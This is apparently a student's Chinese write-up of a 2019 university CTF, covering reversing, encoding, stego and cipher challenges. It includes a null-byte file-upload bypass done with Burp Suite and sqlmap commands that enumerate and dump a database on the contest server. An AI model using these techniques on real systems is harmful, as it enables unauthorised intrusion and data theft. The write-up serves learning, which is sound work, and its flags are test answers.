本次比赛时间大概为2019年1月末,当时留校参加ACM的集训,后面几天由于太难听不进去,恰逢此次比赛,于是第一次参加CTF。
第一次做出ctf题,虽然很简单,但我好高兴
原来只想到拼了命也要做出一道题来,没想到一做做了这么多
第一道▼逆向签到 下载文件,打开IDA64,把文件脱进来,F5将汇编翻译成c语言
主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax size_t v4; // rbx int v5; // [rsp+0h] [rbp-C0h] int v6; // [rsp+4h] [rbp-BCh] int v7; // [rsp+8h] [rbp-B8h] int v8; // [rsp+Ch] [rbp-B4h] int v9; // [rsp+10h] [rbp-B0h] int v10; // [rsp+14h] [rbp-ACh] int v11; // [rsp+18h] [rbp-A8h] int v12; // [rsp+1Ch] [rbp-A4h] int v13; // [rsp+20h] [rbp-A0h] int v14; // [rsp+24h] [rbp-9Ch] int v15; // [rsp+28h] [rbp-98h] int v16; // [rsp+2Ch] [rbp-94h] int v17; // [rsp+30h] [rbp-90h] int v18; // [rsp+34h] [rbp-8Ch] int v19; // [rsp+38h] [rbp-88h] int v20; // [rsp+3Ch] [rbp-84h] int v21; // [rsp+40h] [rbp-80h] int v22; // [rsp+44h] [rbp-7Ch] int v23; // [rsp+48h] [rbp-78h] int v24; // [rsp+4Ch] [rbp-74h] int v25; // [rsp+50h] [rbp-70h] int v26; // [rsp+54h] [rbp-6Ch] int v27; // [rsp+58h] [rbp-68h] int v28; // [rsp+5Ch] [rbp-64h] int v29; // [rsp+60h] [rbp-60h] int v30; // [rsp+64h] [rbp-5Ch] int v31; // [rsp+68h] [rbp-58h] int v32; // [rsp+6Ch] [rbp-54h] int v33; // [rsp+70h] [rbp-50h] char s[40]; // [rsp+80h] [rbp-40h] int v35; // [rsp+A8h] [rbp-18h] int i; // [rsp+ACh] [rbp-14h] puts("* please input flag: "); __isoc99_scanf("%s", s); if ( strlen(s) == 29 ) { v35 = rand() % 100; for ( i = 0; ; ++i ) { v4 = i; if ( v4 >= strlen(s) ) break; s[i] ^= v35; } v5 = 53; v6 = 63; v7 = 50; v8 = 52; v9 = 40; v10 = 1; v11 = 50; v12 = 61; v13 = 55; v14 = 99; v15 = 62; v16 = 118; v17 = 98; v18 = 60; v19 = 60; v20 = 12; v21 = 106; v22 = 58; v23 = 37; v24 = 54; v25 = 12; v26 = 38; v27 = 12; v28 = 102; v29 = 48; v30 = 60; v31 = 33; v32 = 54; v33 = 46; if ( (unsigned int)Check((__int64)s, (__int64)&v5) == 1 ) puts("* CCCCCCCCCCCongratulation!!!!"); else puts("* try it again"); result = 0; } else { puts("* try it again"); result = 0; } return result; }
check函数:
1 2 3 4 5 6 7 8 9 10 11 signed __int64 __fastcall Check(__int64 a1, __int64 a2) { signed int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 28; ++i ) { if ( *(char *)(i + a1) != *(_DWORD *)(4LL * i + a2) ) return 0LL; } return 1LL; }
主函数中下图所示的代码块将输入的字符串逐个字符地与随机数(0~99)进行异或
(若a^b=c,则a=b^c,按此原理可写脚本)
check函数将经过异或处理后的数据和主函数中存储的v5~v33作比较,相同则返回真
第一次接触逆向的题,我没想明白随机数每次都变,怎么保证输入的字符串是正确答案?
后来无意中暴力了一下,得到了100个不同的字符串,这才想明白,有100个字符串是正确答案,一个随机数对应一个,也就是说,当flag的字符串对应的随机数并没有随机到的时候,这是输入flag后也会显示* try it again
我写的暴力脚本:
(python还在学,不熟练,先用c++)
(c++是世界上最好的语言,233)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <iostream> #include <cstdlib> #include <ctime> using namespace std ;int main () { srand(time(0 )); int v[29 ]={53 ,63 ,50 ,52 ,40 ,1 ,50 ,61 ,55 ,99 ,62 ,118 ,98 ,60 ,60 ,12 ,106 ,58 ,37 ,54 ,12 ,38 ,12 ,102 ,48 ,60 ,33 ,54 ,46 }; int v35=rand()%100 ; for (int i=0 ;i<=99 ;i++) { v35=i; cout <<v35<<endl ; for (int i=0 ;i<=28 ;i++) cout <<(char (v35^v[i])); cout <<endl ; } return 0 ; }
结果
第二道▼base全家桶了解一下?? base64解码为base32再解码到base16再解码到明文
密文:R1kzRE1RWldHRTNET04yQ0dVM1RNTkpXSU0zREdNWlFHWkNETU5KVklZM1RJTVpRR01ZREtSUldHTTNUS05TRUc0MkRNTVpYR1EzRE1OMkU=
64转32:
GY3DMQZWGE3DON2CGU3TMNJWIM3DGMZQGZCDMNJVIY3TIMZQGMYDKRRWGM3TKNSEG42DMMZXGQ3DMN2E
32转16
666C61677B57656C63306D655F7430305F63756D746374667D
16解码:
flag{Welc0me_t00_cumtctf}
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
Base32编码是使用32个可打印字符(字母A-Z和数字2-7)对任意字节数据进行编码的方案
Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码
第三道▼现代密码签到 两次DES解码
密文:
U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=
第一次解码:
U2FsdGVkX18968C+7acWUzWtYyuQd2MFLMh0HnGGnMlmYlemknPnfg==
第二次解码:
cumtctf{double_D3s_HHH}
第四道▼Misc签到 对照盲文翻译即可,翻译为BAIND,根据提示,改为B1IND,正好和BLIND(盲的)相似
第五道▼Easy_Math 用IDA64打开
主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax char v4; // [rsp+0h] [rbp-160h] int v5; // [rsp+100h] [rbp-60h] int v6; // [rsp+104h] [rbp-5Ch] int v7; // [rsp+108h] [rbp-58h] int v8; // [rsp+10Ch] [rbp-54h] int v9; // [rsp+110h] [rbp-50h] int v10; // [rsp+114h] [rbp-4Ch] int v11; // [rsp+118h] [rbp-48h] int v12; // [rsp+11Ch] [rbp-44h] int v13; // [rsp+120h] [rbp-40h] __int64 v14; // [rsp+130h] [rbp-30h] __int64 v15; // [rsp+138h] [rbp-28h] __int64 v16; // [rsp+140h] [rbp-20h] __int64 v17; // [rsp+148h] [rbp-18h] int v18; // [rsp+150h] [rbp-10h] char s[8]; // [rsp+157h] [rbp-9h] char v20; // [rsp+15Fh] [rbp-1h] *(_QWORD *)s = 0LL; v20 = 0; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0; v5 = 1; v6 = 2; v7 = 1; v8 = 2; v9 = 1; v10 = 1; v11 = 1; v12 = 1; v13 = 2; memset(&v4, 0, 0x100uLL); puts("* please input flag: "); __isoc99_scanf("%s", s); if ( strlen(s) == 9 ) { String2Int(s, (__int64)&v14); Change((__int64)&v14, (__int64)&v5, (__int64)&v4); if ( (unsigned int)Check((__int64)&v4) == 1 ) puts("CCCCCCCCCCCongratulation!!!!"); else puts("try it again"); result = 0; } else { puts("* try it again"); result = 0; } return result; }
String2Int函数:
作用很简单,把输入的字符串的每一个字符都分别赋值给从v14开始的9个变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 size_t __fastcall String2Int(const char *a1, __int64 a2) { size_t result; // rax int i; // [rsp+1Ch] [rbp-14h] for ( i = 0; ; ++i ) { result = strlen(a1); if ( i >= result ) break; *(_DWORD *)(4LL * i + a2) = a1[i]; } return result; }
change函数:(就你这破函数事儿多,变啥变啊,看了我好几个小时)
这个太难看了,萌新不会写算法,所以就手动模拟了(模拟图见本题最后)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 _DWORD *__fastcall Change(__int64 a1, __int64 a2, __int64 a3) { _DWORD *result; // rax signed int m; // [rsp+24h] [rbp-14h] signed int l; // [rsp+28h] [rbp-10h] signed int k; // [rsp+2Ch] [rbp-Ch] signed int j; // [rsp+30h] [rbp-8h] signed int i; // [rsp+34h] [rbp-4h] for ( i = 0; i <= 2; ++i ) { for ( j = 0; j <= 2; ++j ) { result = (_DWORD *)(4 * (3 * i + (signed __int64)j) + a3); *result = 0; } } for ( k = 0; k <= 2; ++k ) { for ( l = 0; l <= 2; ++l ) { for ( m = 0; m <= 2; ++m ) { result = (_DWORD *)(4 * (3 * k + (signed __int64)l) + a3); *result += *(_DWORD *)(4 * (3 * m + (signed __int64)l) + a2) * *(_DWORD *)(4 * (3 * k + (signed __int64)m) + a1); } } } return result; }
Check函数:
经过change变换后的字符与check内的局部变量v2~v10相比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 signed __int64 __fastcall Check(__int64 a1) { int v2; // [rsp+8h] [rbp-30h] int v3; // [rsp+Ch] [rbp-2Ch] int v4; // [rsp+10h] [rbp-28h] int v5; // [rsp+14h] [rbp-24h] int v6; // [rsp+18h] [rbp-20h] int v7; // [rsp+1Ch] [rbp-1Ch] int v8; // [rsp+20h] [rbp-18h] int v9; // [rsp+24h] [rbp-14h] int v10; // [rsp+28h] [rbp-10h] int i; // [rsp+34h] [rbp-4h] v2 = 274; v3 = 294; v4 = 316; v5 = 262; v6 = 274; v7 = 252; v8 = 380; v9 = 421; v10 = 427; for ( i = 0; i <= 8; ++i ) { if ( *(_DWORD *)(4LL * i + a1) != *(&v2 + i) ) return 0LL; } return 1LL; }
手动模拟,解出方程,转换成char类型的,得到flag
第六道▼BXS图标真好看 (这是我们队(c家家)的第七道,我队第六道是张龙做的web)
后缀改为png,得到密文fgookwnl{_un_gaDy_0p},刚开始以为fgookwnl对应flag,两个字母对应一个字母,后来无意中发现flag中的f到l和l到a都相隔7位,就以为所有的都是往后找7个数,但到了flag中的g时,发现从a到g相隔7位(不算已经取出的f),但从g到{才隔着6位(除非算上取出的l才相隔7位),然后就以为前3此移位是7位,后面的移位都是6位,但这样取,}居然提前取出来了。然后他突然灵机一动,共21个字符,7移动了3次,然后移动6,3*7=21,即7三次,6三次,一直到1三次(虽然最后发现1只有两次,因为21个字符有20个间隔)
第七道▼古典密码签到 先base32,根据提示得到^pho^oav tZnj
tZZZcccx
一点基础也没有,根本无从下手,中间想试试移位,但死活和flag对不上(忘了还有cumtctf这个格式)。最后想试试凯撒,但凯撒只能搞纯字母,过了一会,突然想到,可能是凯撒的思想,不一定在26个字符中移位,也可能在Z(ascll最小,为90)和x(ascll最大,为120)间移位。编了个程序,虽然最后发现有点小错误,但还是发现出现了cumtctf的字样,于是肯定思路没错,找错误吧。错误还没找到的,先发现了其实就是向后移动5位。。。重新编了个往后移5位的程序,答案就跑出来了
进前十啦
web的签到题是张龙做的哦
第八道▼起床改error啦! 解压,得到一张图片
按照提示,图文无关,拖进C32Asm
文件末尾出现了flag.doc的字样,怀疑是两个文件结合而来
打开kali,将图片拖进虚拟机ctf文件夹
将新生成的flag.doc拖回win10,居然打不开
这时发现之前用binwalk时出现的Zip archive data这句话,百度一下,原来是种压缩方式
unzip解压这个doc
拖回win10,打开
那就接着找吧。点击文件再点击选项
然后点击显示,勾上隐藏文字
答案就出来了
第九道▼矿大校歌认真听听吧? 一个带密码的压缩包,尝试1~6位数字暴力破解密码,没出来,拖进winhex(或C32Asm),最后一行写着cumtctf2019,猜测就是密码,果然。
里面只有一个cumt.mp3,是矿大校歌。打开听了,正常的校歌。
拖进audacity(在这个软件上耗费了我三个小时以上的时间,没想到这道题用不到这个软件)
频谱图也看不出来flag(最初怀疑过紫线和白线,放大后一点一点找,耗费了好几个小时,也听了好几个小时的校歌)
关闭,打开kali,用binwalk分析
结果并不是多个文件的结合
回到win10,用MP3Stego试一下
双击MP3Stego目录下的mp3.bat(该文件作用是在cmd中进入MP3Stego目录),键入
decode -X -P cumtctf cumt.mp3
-X是文件名
-P是密码
(至于为啥后面的参数的顺序是反着的我也不清楚)
生成了两个文件
打开cumt.mp3.txt,得到flag{cumtctf_1s_v3ry_g00d!}
(最初不知道密码,猜了个题目名,即cmut,结果提示错误,没想到cumtctf2019既是压缩包密码,又是MP3隐写的密码)
第十题▼SimpleUpload签到
只能上传图片,但要求是上传.php
使用burpsuite抓包再修改数据上传https://www.sohu.com/a/236194259_658302
安装了jdk后,我仍然无法打开burpsuite.jar,所以我将burpsuite.jar放入
打开cmd,键入java -jar burpsuite.jar,通过这样打开burpsuite,但弊端是每次都要输入一次,而且使用burpsuite过程中不能关闭输入命令的那个cmd窗口,否则burpsuite也会关闭。
依次点close(不更新),next,然后点start burp
打开360极速浏览器(chrome我还不会设置代理服务器),搜索“代理”
点击代理服务器设置
在代理服务器列表中添加127.0.0.1:8080
点击代理服务器,勾选127.0.0.1:8080
浏览器地址栏键入题目网址,发现打不开,那就先把上图的不使用代理服务器勾选,打开网页后再勾选127.0.0.1:8080
再桌面新建一个空白文件,文件名为1.php .png
注意php和.png之间有一个空格。
打开burpsuite,开启抓包(Intercept is on)
这时上传1.php .png
抓到包
点击Proxy中的Intercept中的Hex
找到1.php .png所在的一行
将20改为00(空格的hex是20)
原理是:提交的是.png,但服务器端读到00后就截断了,所以服务器端认为是.php
点击Forward,上传修改后的包
得到flag
(做出来后没几分钟,张龙告诉我他也做出来了,好像他是直接F12查看的代码,假期结束后再问问他)
(之前他说这道题有头绪了,我以为这100分到手了,没想到两天了他还不提交flag,我以为他懒得不做了,气的我现学了好几个小时,才搞到flag。不靠谱的男人(。・∀・)ノ)
第十一题▼ 参考了这个的第一题https://www.cnblogs.com/baifan2618/p/7762666.html
题目网址http://bxs.cumt.edu.cn:30007/test/index.php
(sqlmap的各种参数详见另一篇笔记)
打开kali的终端,键入
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –dbs
结果如下图
得到可访问数据库
猜测flag在security中
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –tables -D security
上下两图无缝衔接(太长了,截不到一起)
看到flagishere就知道稳了
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –columns -T flagishere -D security
我这个萌新还以为flag就是non-numeric呢,还以为要在网址后面加?id=numeric
都错了。接着键入
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –dump -C flag -T flagishere -D security
得到flag
最终成绩